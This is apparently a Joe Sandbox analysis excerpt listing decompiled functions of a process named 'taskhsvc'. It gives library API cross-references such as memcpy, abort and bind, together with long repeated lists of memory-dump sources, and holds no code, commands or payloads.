realloc.MSVCRT ref: 003212FA
__stack_chk_fail.LIBSSP-0 ref: 0032134E

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

exit.MSVCRT ref: 0032133B

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

@, xrefs: 00321320

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00318F30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49

APIs

abort.MSVCRT ref: 00318F86
localtime.MSVCRT ref: 00318F91
memcpy.MSVCRT ref: 00318FB4

Part of subcall function 00318C53: memset.MSVCRT ref: 00318E92
Part of subcall function 00318C53: strerror.MSVCRT ref: 00318EAA
Part of subcall function 00318C53: __stack_chk_fail.LIBSSP-0 ref: 00318F24

__stack_chk_fail.LIBSSP-0 ref: 00318FE5

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

$, xrefs: 00318F9F

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0032107E, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47

APIs

abort.MSVCRT ref: 003210D1
malloc.MSVCRT ref: 003210E9
__stack_chk_fail.LIBSSP-0 ref: 0032113D

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

exit.MSVCRT ref: 0032112A

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

@, xrefs: 0032110F

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 003213EE, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44

APIs

abort.MSVCRT ref: 0032143E
_strdup.MSVCRT ref: 00321449
__stack_chk_fail.LIBSSP-0 ref: 0032149D

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

exit.MSVCRT ref: 0032148A

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

@, xrefs: 0032146F

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001EE76C, Relevance: 7.8, APIs: 5, Instructions: 329

APIs

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

strcmp.MSVCRT ref: 001EE905

Part of subcall function 0032DA95: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,002564FC), ref: 0032DAE3

__stack_chk_fail.LIBSSP-0 ref: 001EEBD6

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 001EEA71

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

Part of subcall function 0032B7BA: memset.MSVCRT ref: 0032B7F8
Part of subcall function 0032B7BA: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,001EEAEA), ref: 0032B8FC

Part of subcall function 0032DFE3: __stack_chk_fail.LIBSSP-0 ref: 0032E043

free.MSVCRT ref: 001EEB46
free.MSVCRT ref: 001EEB67

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 001EB015: bind.WS2_32 ref: 001EB3B3
Part of subcall function 001EB015: abort.MSVCRT ref: 001EB5FE
Part of subcall function 001EB015: memcpy.MSVCRT ref: 001EB6C7
Part of subcall function 001EB015: abort.MSVCRT ref: 001EB862
Part of subcall function 001EB015: __stack_chk_fail.LIBSSP-0 ref: 001EB8E9

Part of subcall function 001EAD69: __stack_chk_fail.LIBSSP-0 ref: 001EAE0F

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 00319ED4: __stack_chk_fail.LIBSSP-0 ref: 00319F7B

Part of subcall function 0031A905: abort.MSVCRT ref: 0031A95C
Part of subcall function 0031A905: abort.MSVCRT ref: 0031A99A
Part of subcall function 0031A905: abort.MSVCRT ref: 0031A9DE
Part of subcall function 0031A905: __stack_chk_fail.LIBSSP-0 ref: 0031AA35

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0024DAFE, Relevance: 7.7, APIs: 5, Instructions: 242

APIs

abort.MSVCRT ref: 0024DB99

Part of subcall function 00241D3F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0024DBC0), ref: 00241D66

__stack_chk_fail.LIBSSP-0 ref: 0024DE68

Part of subcall function 00241CFF: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0024DBD1), ref: 00241D38

Part of subcall function 003213EE: abort.MSVCRT ref: 0032143E
Part of subcall function 003213EE: _strdup.MSVCRT ref: 00321449
Part of subcall function 003213EE: exit.MSVCRT ref: 0032148A
Part of subcall function 003213EE: __stack_chk_fail.LIBSSP-0 ref: 0032149D

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 0032BBAB: memset.MSVCRT ref: 0032BBD7
Part of subcall function 0032BBAB: __stack_chk_fail.LIBSSP-0 ref: 0032BBF0

memcpy.MSVCRT ref: 0024DD2D
memcpy.MSVCRT ref: 0024DD5A

Part of subcall function 00316107: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FAF4), ref: 003161A4
Part of subcall function 00316107: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0021FAF4), ref: 003161B7

Part of subcall function 0032D7F2: abort.MSVCRT ref: 0032D854
Part of subcall function 0032D7F2: abort.MSVCRT ref: 0032D893
Part of subcall function 0032D7F2: memcpy.MSVCRT ref: 0032D8AD
Part of subcall function 0032D7F2: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001F57C7), ref: 0032D8C0

memcpy.MSVCRT ref: 0024DDF6

Part of subcall function 00315895: strlen.MSVCRT ref: 003158CA
Part of subcall function 00315895: __stack_chk_fail.LIBSSP-0 ref: 00315904

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 0032DFE3: __stack_chk_fail.LIBSSP-0 ref: 0032E043

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031FB67, Relevance: 7.6, APIs: 5, Instructions: 143

APIs

abort.MSVCRT ref: 0031FBC3
abort.MSVCRT ref: 0031FC02
abort.MSVCRT ref: 0031FC41

Part of subcall function 0031E576: memcpy.MSVCRT ref: 0031E5AA
Part of subcall function 0031E576: __stack_chk_fail.LIBSSP-0 ref: 0031E5BB

Part of subcall function 0031DEF4: memset.MSVCRT ref: 0031DFEF
Part of subcall function 0031DEF4: memset.MSVCRT ref: 0031E0F6
Part of subcall function 0031DEF4: __stack_chk_fail.LIBSSP-0(?), ref: 0031E1CC

Part of subcall function 0031C60C: __stack_chk_fail.LIBSSP-0 ref: 0031C643

Part of subcall function 0031DA66: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,0031FCAF), ref: 0031DAF3

__stack_chk_fail.LIBSSP-0 ref: 0031FD78

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 0031FCEC

Part of subcall function 00321144: memset.MSVCRT ref: 0032117D
Part of subcall function 00321144: __stack_chk_fail.LIBSSP-0 ref: 00321190

Part of subcall function 0031E650: memcpy.MSVCRT ref: 0031E684
Part of subcall function 0031E650: __stack_chk_fail.LIBSSP-0 ref: 0031E695

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
